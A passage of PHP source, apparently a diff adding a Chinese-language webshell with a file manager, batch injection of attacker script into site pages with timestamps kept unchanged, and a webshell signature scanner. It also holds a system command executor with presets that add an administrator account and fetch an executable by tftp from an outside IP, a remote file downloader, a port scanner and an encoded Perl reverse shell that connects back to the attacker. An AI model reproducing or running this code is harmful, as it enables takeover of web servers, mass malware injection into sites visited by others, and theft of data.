'.$modfile.' 属性为 '.$_GET['md'].' 失败';} + if(isset($_GET['mn'])){$MSG_BOX = @rename(File_Str($REAL_DIR.'/'.$_GET['mn']),File_Str($REAL_DIR.'/'.$_GET['rn'])) ? '改名 '.$_GET['mn'].' 为 '.$_GET['rn'].' 成功' : '改名 '.$_GET['mn'].' 为 '.$_GET['rn'].' 失败';} + if(isset($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($REAL_DIR.'/'.$_GET['dn']),0777) ? '创建目录 '.$_GET['dn'].' 成功' : '创建目录 '.$_GET['dn'].' 失败';} + if(isset($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? '删除目录 '.$_GET['dd'].' 成功' : '删除目录 '.$_GET['dd'].' 失败';} + if(isset($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = '下载文件不存在';} + Root_CSS(); +print<< + function Inputok(msg,gourl) + { + smsg = "当前文件:[" + msg + "]"; + re = prompt(smsg,unescape(msg)); + if(re) + { + var url = gourl + escape(re); + window.location = url; + } + } + function Delok(msg,gourl) + { + smsg = "确定要删除[" + unescape(msg) + "]吗?"; + if(confirm(smsg)) + { + if(gourl == 'b') + { + document.getElementById('actall').value = escape(gourl); + document.getElementById('fileall').submit(); + } + else window.location = gourl; + } + } + function CheckDate(msg,gourl) + { + smsg = "当前文件时间:[" + msg + "]"; + re = prompt(smsg,msg); + if(re) + { + var url = gourl + re; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();} + } + } + function CheckAll(form) + { + for(var i=0;i +
                            {$MSG_BOX}
                            +
                            +
                            + +
                            +
                            +
                            + + + + + + +
                            +
                            +
                            + + + + + + +END; + if(($h_d = @opendir($p)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($REAL_DIR.'/'.$Filename); + if(is_dir($Filepath)) + { + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filepath = urlencode($Filepath); + echo "\r\n".' '; + $Filename = urlencode($Filename); + echo ' '; + echo ' '; + echo ' '; + echo ' '."\r\n"; + $NUM_D++; + } + } + @rewinddir($h_d); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($REAL_DIR.'/'.$Filename); + if(!is_dir($Filepath)) + { + $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filesize = File_Size(@filesize($Filepath)); + if($Filepath == File_Str(__FILE__)) $fname = ''.$Filename.''; else $fname = $Filename; + echo "\r\n".' '; + $Filepath = urlencode($Filepath); + $Filename = urlencode($Filename); + echo ' '; + echo ' '; + echo ' '; + echo ' '."\r\n"; + $NUM_F++; + } + } + @closedir($h_d); + if(!$Filetime) $Filetime = '2009-01-01 00:00:00'; +print<< +
                            + + + + + + + +目录({$NUM_D}) / 文件({$NUM_F})
                            + +END; + return true; +} + +//批量挂马 +function Guama_Pass($length) +{ + $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + $str = ""; + while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1); + return $str; +} + +function Guama_Make($codea,$codeb,$codec) +{ + return str_replace($codea,Guama_Pass($codeb),$codec); +} + +function Guama_Auto($gp,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb) +{ + if(($h_d = @opendir($gp)) == NULL) return false; + if($gm > 12) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if($gl != ''){if(eregi($gl,$Filename)) continue;} + $Filepath = File_Str($gp.'/'.$Filename); + if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb); + if(eregi($gt,$Filename)) + { + $fc = File_Read($Filepath); + if(($gk != '') && (stristr($fc,chop($gk)))) continue; + if(($gf != '') && ($gm != 0)) $gcm = Guama_Make($gf,$gm,$gc); else $gcm = $gc; + if($gd) $ftime = @filemtime($Filepath); + if($gi == 'a'){if(!stristr($fc,'')) continue; $fcm = str_replace('',"\r\n".$gcm."\r\n".'',$fc); $fcm = str_replace('',"\r\n".$gcm."\r\n".'',$fcm);} + if($gi == 'b') $fcm = $gcm."\r\n".$fc; + if($gi == 'c') $fcm = $fc."\r\n".$gcm; + echo File_Write($Filepath,$fcm,'wb') ? '成功:'.$Filepath.'
                            '."\r\n" : '失败:'.$Filepath.'
                            '."\r\n"; + if($gd) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Guama_b() +{ + if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc']))) + { + echo '
                            '; + $_POST['gt'] = str_replace('.','\\.',$_POST['gt']); + if($_POST['inout'] == 'a') $_POST['gl'] = str_replace('.','\\.',$_POST['gl']); else $_POST['gl'] = ''; + if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]')) + { + $temp = explode('[-',$_POST['gc']); + $gk = $temp[0]; + preg_match_all("/\[\-([^~]*?)\-\]/i",$_POST['gc'],$nc); + if(!eregi("^[0-9]{1,2}$",$nc[1][0])){echo '异常终止'; return false;} + $gm = (int)$nc[1][0]; + $gf = $nc[0][0]; + } + else + { + $gk = $_POST['gc']; + $gm = 0; + $gf = ''; + } + if(!isset($_POST['gx'])) $gk = ''; + $gd = isset($_POST['gd']) ? true : false; + $gb = ($_POST['gb'] == 'a') ? true : false; + echo Guama_Auto($_POST['gp'],$_POST['gt'],$_POST['gl'],$_POST['gc'],$gm,$gf,$_POST['gi'],$gk,$gd,$gb) ? '挂马完毕' : '异常终止'; + echo '
                            '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulll(i) +{ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];} + return true; +} +function autorun() +{ + if(document.getElementById('gp').value == ''){alert('挂马路径不能为空');return false;} + if(document.getElementById('gt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('gc').value == ''){alert('挂马代码不能为空');return false;} + document.getElementById('sform').submit(); +} + +
                            +
                            挂马路径 +
                            +
                            文件类型 +
                            +
                            过滤对象 +开启 关闭
                            +
                            挂马代码 +
                            挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签. +
                            挂上示例: <script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"></script>
                            +
                            插入</head>标签之前 +插入文件最顶端 +插入文件最末尾
                            +
                            智能过滤重复代码 保持文件修改时间不变
                            +
                            将挂马应用于该文件夹,子文件夹和文件 +
                            仅将挂马应用于该文件夹
                            +
                            + +END; +return true; +} + +//批量清马 + +function Qingma_Auto($qp,$qt,$qc,$qd,$qb) +{ + if(($h_d = @opendir($qp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($qp.'/'.$Filename); + if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb); + if(eregi($qt,$Filename)) + { + $ic = File_Read($Filepath); + if(!stristr($ic,$qc)) continue; + $ic = str_replace($qc,'',$ic); + if($qd) $ftime = @filemtime($Filepath); + echo File_Write($Filepath,$ic,'wb') ? '成功:'.$Filepath.'
                            '."\r\n" : '失败:'.$Filepath.'
                            '."\r\n"; + if($qd) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Qingma_c() +{ + if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc']))) + { + echo '
                            '; + $qt = str_replace('.','\\.',$_POST['qt']); + $qd = isset($_POST['qd']) ? true : false; + $qb = ($_POST['qb'] == 'a') ? true : false; + echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? '清马完毕' : '异常终止'; + echo '
                            '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fullll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];} + return true; +} +function autoup(){ + if(document.getElementById('qp').value == ''){alert('清马路径不能为空');return false;} + if(document.getElementById('qt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('qc').value == ''){alert('清除代码不能为空');return false;} + document.getElementById('xform').submit(); +} + +
                            +
                            清马路径 +
                            +
                            文件类型 +
                            +
                            清除代码
                            +
                            保持文件修改时间不变
                            +
                            将清马应用于该文件夹,子文件夹和文件 +
                            仅将清马应用于该文件夹
                            +
                            + +END; + return true; +} + +//批量替换 + +function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) +{ + if(($h_d = @opendir($tp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($tp.'/'.$Filename); + if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); + $doing = false; + if(eregi($tt,$Filename)) + { + $ic = File_Read($Filepath); + if($th) + { + if(!stristr($ic,$tca)) continue; + $ic = str_replace($tca,$tcb,$ic); + $doing = true; + } + else + { + preg_match_all("/href\=\"([^~]*?)\"/i",$ic,$nc); + for($i = 0;$i < count($nc[1]);$i++){if(eregi($tca,$nc[1][$i])){$ic = str_replace($nc[1][$i],$tcb,$ic);$doing = true;}} + } + if($td) $ftime = @filemtime($Filepath); + if($doing) echo File_Write($Filepath,$ic,'wb') ? '成功:'.$Filepath.'
                            '."\r\n" : '失败:'.$Filepath.'
                            '."\r\n"; + if($td) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Tihuan_d() +{ + if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) + { + echo '
                            '; + $tt = str_replace('.','\\.',$_POST['tt']); + $td = isset($_POST['td']) ? true : false; + $tb = ($_POST['tb'] == 'a') ? true : false; + $th = ($_POST['th'] == 'a') ? true : false; + if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); + echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '替换完毕' : '异常终止'; + echo '
                            '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulllll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];} + return true; +} +function showth(th){ + if(th == 'a') document.getElementById('setauto').innerHTML = '查找内容
                            替换成为 '; + if(th == 'b') document.getElementById('setauto').innerHTML = '
                            下载后缀

                            替换成为 '; + return true; +} +function autoup(){ + if(document.getElementById('tp').value == ''){alert('替换路径不能为空');return false;} + if(document.getElementById('tt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('tca').value == ''){alert('替换代码不能为空');return false;} + document.getElementById('tform').submit(); +} + +
                            +
                            替换路径 +
                            +
                            文件类型 +
                            +
                            替换文件中的指定内容 替换文件中的下载地址
                            +
                            查找内容
                            替换成为
                            +
                            保持文件修改时间不变
                            +
                            将替换应用于该文件夹,子文件夹和文件 +
                            仅将替换应用于该文件夹
                            +
                            + +END; + return true; +} + +//扫描木马 + +function Antivirus_Auto($sp,$features,$st,$sb) +{ + if(($h_d = @opendir($sp)) == NULL) return false; + $ROOT_DIR = File_Mode(); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($sp.'/'.$Filename); + if(is_dir($Filepath) && $sb) Antivirus_Auto($Filepath,$features,$st); + if(eregi($st,$Filename)) + { + if($Filepath == File_Str(__FILE__)) continue; + $ic = File_Read($Filepath); + foreach($features as $var => $key) + { + if(stristr($ic,$key)) + { + $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + echo ' '.$Filepath.'
                            编辑 删除 】 '; + echo ' 【 '.$Filetime.' 】 '.$var.'

                            '."\r\n"; + break; + } + } + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Antivirus_e() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = isset($_POST['sp']) ? $_POST['sp'] : File_Mode(); + $features_php = array('php大马特征1'=>'cha88.cn','php大马特征2'=>'->read()','php大马特征3'=>'readdir(','危险MYSQL语句4'=>'returns string soname','php加密大马特征5'=>'eval(gzinflate(','php加密大马特征6'=>'eval(base64_decode(','php一句话特征7'=>'eval($_','php一句话特征8'=>'eval ($_','php上传后门特征9'=>'copy($_FILES','php上传后门特征10'=>'copy ($_FILES','php上传后门特征11'=>'move_uploaded_file($_FILES','php上传后门特征12'=>'move_uploaded_file ($_FILES','php小马特征13'=>'str_replace(\'\\\\\',\'/\','); + $features_asx = array('asp小马特征1'=>'绝对路径','asp小马特征2'=>'输入马的内容','asp小马特征3'=>'fso.createtextfile(path,true)','asp一句话特征4'=>'<%execute(request','asp一句话特征5'=>'<%eval request','asp一句话特征6'=>'execute session(','asp数据库后门特征7'=>'--Created!','asp大马特征8'=>'WScript.Shell','asp大小马特征9'=>'<%@ LANGUAGE = VBScript.Encode %>','aspx大马特征10'=>'www.rootkit.net.cn','aspx大马特征11'=>'Process.GetProcesses','aspx大马特征12'=>'lake2'); +print<< +
                            扫描路径
                            +
                            木马类型 php木马 +asp+aspx木马
                            +
                            将扫马应用于该文件夹,子文件夹和文件 +
                            仅将扫马应用于该文件夹
                            +
                            + +END; + if(!empty($_POST['sp'])) + { + echo '
                            '; + if(isset($_POST['stphp'])){$features_all = $features_php; $st = '\.php|\.inc|\;';} + if(isset($_POST['stasx'])){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';} + if(isset($_POST['stphp']) && isset($_POST['stasx'])){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';} + $sb = ($_POST['sb'] == 'a') ? true : false; + echo Antivirus_Auto($_POST['sp'],$features_all,$st,$sb) ? '扫描完毕' : '异常终止'; + echo '
                            '; + } + return true; +} + +//搜索文件 + +function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) +{ + //echo $sfp.'
                            '.$sfc.'
                            '.$sft.'
                            '.$sff.'
                            '.$sfb; + if(($h_d = @opendir($sfp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if(eregi($sft,$Filename)) continue; + $Filepath = File_Str($sfp.'/'.$Filename); + if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); + if($sff) + { + if(stristr($Filename,$sfc)) + { + echo ' '.$Filepath.'
                            '."\r\n"; + ob_flush(); + flush(); + } + } + else + { + $File_code = File_Read($Filepath); + if(stristr($File_code,$sfc)) + { + echo ' '.$Filepath.'
                            '."\r\n"; + ob_flush(); + flush(); + } + } + } + @closedir($h_d); + return true; +} + +function Findfile_j() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); + $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; + $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip'; +print<< +
                            扫描路径
                            +
                            过滤文件
                            +
                            关键字串 +搜索文件名 +搜索包含文字
                            +
                            将搜索应用于该文件夹,子文件夹和文件 +
                            仅将搜索应用于该文件夹
                            +
                            + +END; + if((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) + { + echo '
                            '; + $_POST['sft'] = str_replace('.','\\.',$_POST['sft']); + $sff = ($_POST['sff'] == 'a') ? true : false; + $sfb = ($_POST['sfb'] == 'a') ? true : false; + echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '搜索完毕' : '异常终止'; + echo '
                            '; + } + return true; +} + +//系统信息 + +function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} +function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} +function Info_f() +{ + $dis_func = get_cfg_var("disable_functions"); + $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传"; + $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; + if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
                            ",$dis_func);$dis_func = str_replace(",","
                            ",$dis_func);} + $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + $info = array( + array("服务器时间",date("Y年m月d日 h:i:s",time())), + array("服务器域名","".$_SERVER['SERVER_NAME'].""), + array("服务器IP地址",gethostbyname($_SERVER['SERVER_NAME'])), + array("服务器操作系统",PHP_OS), + array("服务器操作系统文字编码",$_SERVER['HTTP_ACCEPT_LANGUAGE']), + array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']), + array("你的IP",getenv('REMOTE_ADDR')), + array("Web服务端口",$_SERVER['SERVER_PORT']), + array("PHP运行方式",strtoupper(php_sapi_name())), + array("PHP版本",PHP_VERSION), + array("运行于安全模式",Info_Cfg("safemode")), + array("服务器管理员",$adminmail), + array("本文件路径",__FILE__), + array("允许使用 URL 打开文件 allow_url_fopen",Info_Cfg("allow_url_fopen")), + array("允许动态加载链接库 enable_dl",Info_Cfg("enable_dl")), + array("显示错误信息 display_errors",Info_Cfg("display_errors")), + array("自动定义全局变量 register_globals",Info_Cfg("register_globals")), + array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), + array("程序最多允许使用内存量 memory_limit",Info_Cfg("memory_limit")), + array("POST最大字节数 post_max_size",Info_Cfg("post_max_size")), + array("允许最大上传文件 upload_max_filesize",$upsize), + array("程序最长运行时间 max_execution_time",Info_Cfg("max_execution_time")."秒"), + array("被禁用的函数 disable_functions",$dis_func), + array("phpinfo()",$phpinfo), + array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), + array("图形处理 GD Library",Info_Fun("imageline")), + array("IMAP电子邮件系统",Info_Fun("imap_close")), + array("MySQL数据库",Info_Fun("mysql_close")), + array("SyBase数据库",Info_Fun("sybase_close")), + array("Oracle数据库",Info_Fun("ora_close")), + array("Oracle 8 数据库",Info_Fun("OCILogOff")), + array("PREL相容语法 PCRE",Info_Fun("preg_match")), + array("PDF文档支持",Info_Fun("pdf_close")), + array("Postgre SQL数据库",Info_Fun("pg_close")), + array("SNMP网络管理协议",Info_Fun("snmpget")), + array("压缩文件支持(Zlib)",Info_Fun("gzclose")), + array("XML解析",Info_Fun("xml_set_object")), + array("FTP",Info_Fun("ftp_login")), + array("ODBC数据库连接",Info_Fun("odbc_close")), + array("Session支持",Info_Fun("session_start")), + array("Socket支持",Info_Fun("fsockopen")), + ); + echo '
                            上级目录 操作 属性 修改时间 大小
                            0 '.$Filename.' 删除 '; + echo ' 改名 '.$Fileperm.' '.$Filetime.'
                            '.$fname.' 编辑 '; + echo ' 改名 '.$Fileperm.''.$Filetime.' '.$Filesize.'
                            '; + for($i = 0;$i < count($info);$i++){echo ''."\n";} + echo '
                            '.$info[$i][0].''.$info[$i][1].'
                            '; + return true; +} + +//执行命令 + +function Exec_Run($cmd) +{ + $res = ''; + if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} + elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} + elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} + return $res; +} + + + +function Exec_g() +{ + $res = '回显窗口'; + $cmd = 'dir'; + if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} +print<< +function sFull(i){ + Str = new Array(11); + Str[0] = "dir"; + Str[1] = "net user spider spider /add"; + Str[2] = "net localgroup administrators spider /add"; + Str[3] = "netstat -an"; + Str[4] = "ipconfig"; + Str[5] = "copy c:\\1.php d:\\2.php"; + Str[6] = "tftp -i 219.134.46.245 get server.exe c:\\server.exe"; + document.getElementById('cmd').value = Str[i]; + return true; +} + +
                            +命令参数 + +
                            +
                            +
                            +END; + return true; +} + +//组件接口 + +function Com_h() +{ + $object = isset($_GET['o']) ? $_GET['o'] : 'adodb'; +print<<[ADODB.Connection] +[WScript.shell] +[Shell.Application] +[Downloader] +
                            +END; +if($object == 'downloader') +{ + $Com_durl = isset($_POST['durl']) ? $_POST['durl'] : 'http://www.baidu.com/down/muma.exe'; + $Com_dpath= isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(__FILE__).'/muma.exe'); +print<<超连接 +
                            下载到
                            +
                            +END; + if((!empty($_POST['durl'])) && (!empty($_POST['dpath']))) + { + echo '
                            '; + $contents = @file_get_contents($_POST['durl']); + if(!$contents) echo '无法读取要下载的数据'; + else echo File_Write($_POST['dpath'],$contents,'wb') ? '下载文件成功' : '下载文件失败'; + echo '
                            '; + } +} +elseif($object == 'wscript') +{ + $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir'; +print<<执行CMD命令 +
                            +END; + if(!empty($_POST['cmd'])) + { + echo '
                            '; + $shell = new COM('wscript'); + $exe = @$shell->exec("cmd.exe /c ".$cmd); + $out = $exe->StdOut(); + $output = $out->ReadAll(); + echo '
                            '.$output.'
                            '; + @$shell->Release(); + $shell = NULL; + echo '
                            '; + } +} +elseif($object == 'application') +{ + $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe'; + $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini'; +print<<程序路径 +
                            命令参数
                            +
                            +END; + if(!empty($_POST['run'])) + { + echo '
                            '; + $shell = new COM('application'); + echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? '执行成功' : '执行失败'; + @$shell->Release(); + $shell = NULL; + echo '
                            '; + } +} +elseif($object == 'adodb') +{ + $string = isset($_POST['string']) ? $_POST['string'] : ''; + $sql = isset($_POST['sql']) ? $_POST['sql'] : ''; +print<< +function hFull(i){ + if(i==0 || i==5) return false; + Str = new Array(12); + Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb"; + Str[2] = "Driver={Sql Server};Server=,1433;Database=DbName;Uid=sa;Pwd=****"; + Str[3] = "Driver={MySql};Server=;Port=3306;Database=DbName;Uid=root;Pwd=****"; + Str[4] = "Provider=MSDAORA.1;Password=密码;User ID=帐号;Data Source=服务名;Persist Security Info=True;"; + Str[6] = "SELECT * FROM [TableName] WHERE ID<100"; + Str[7] = "INSERT INTO [TableName](USER,PASS) VALUES('spider','mypass')"; + Str[8] = "DELETE FROM [TableName] WHERE ID=100"; + Str[9] = "UPDATE [TableName] SET USER='spider' WHERE ID=100"; + Str[10] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"; + Str[11] = "DROP TABLE [TableName]"; + Str[12] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"; + Str[13] = "ALTER TABLE [TableName] DROP COLUMN PASS"; + if(i<=4){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];} + return true; +} + +
                            连接字符串 +
                            +
                            SQL命令
                            +
                            + +END; + if(!empty($string)) + { + echo '
                            '; + $shell = new COM('adodb'); + @$shell->Open($string); + $result = @$shell->Execute($sql); + $count = $result->Fields->Count(); + for($i = 0;$i < $count;$i++){$Field[$i] = $result->Fields($i);} + echo $result ? $sql.' 执行成功
                            ' : $sql.' 执行失败
                            '; + if(!empty($count)){while(!$result->EOF){for($i = 0;$i < $count;$i++){echo htmlspecialchars($Field[$i]->value).'
                            ';}@$result->MoveNext();}} + $shell->Close(); + @$shell->Release(); + $shell = NULL; + echo '
                            '; + } +} + return true; +} + +//扫描端口 + +function Port_i() +{ + $Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1'; + $Port_port = isset($_POST['port']) ? $_POST['port'] : '21|23|25|80|110|135|139|445|1433|3306|3389|43958'; +print<< +
                            扫描IP
                            +
                            端口号
                            +
                            + +END; + if((!empty($_POST['ip'])) && (!empty($_POST['port']))) + { + echo '
                            '; + $ports = explode('|', $_POST['port']); + for($i = 0;$i < count($ports);$i++) + { + $fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,2); + echo $fp ? '开放端口 ---> '.$ports[$i].'
                            ' : '关闭端口 ---> '.$ports[$i].'
                            '; + ob_flush(); + flush(); + } + echo '
                            '; + } + return true; +} + +//Linux提权 + +function Linux_k() +{ + $yourip = isset($_POST['yourip']) ? $_POST['yourip'] : getenv('REMOTE_ADDR'); + $yourport = isset($_POST['yourport']) ? $_POST['yourport'] : '12666'; +print<< +
                            你的地址
                            +
                            连接端口
                            +
                            执行方式
                            +
                            +END; + if((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) + { + echo '
                            '; + if($_POST['use'] == 'perl') + { + $back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". + "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". + "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". + "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". + "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". + "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". + "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功
                            ' : '创建/tmp/spider_bc失败
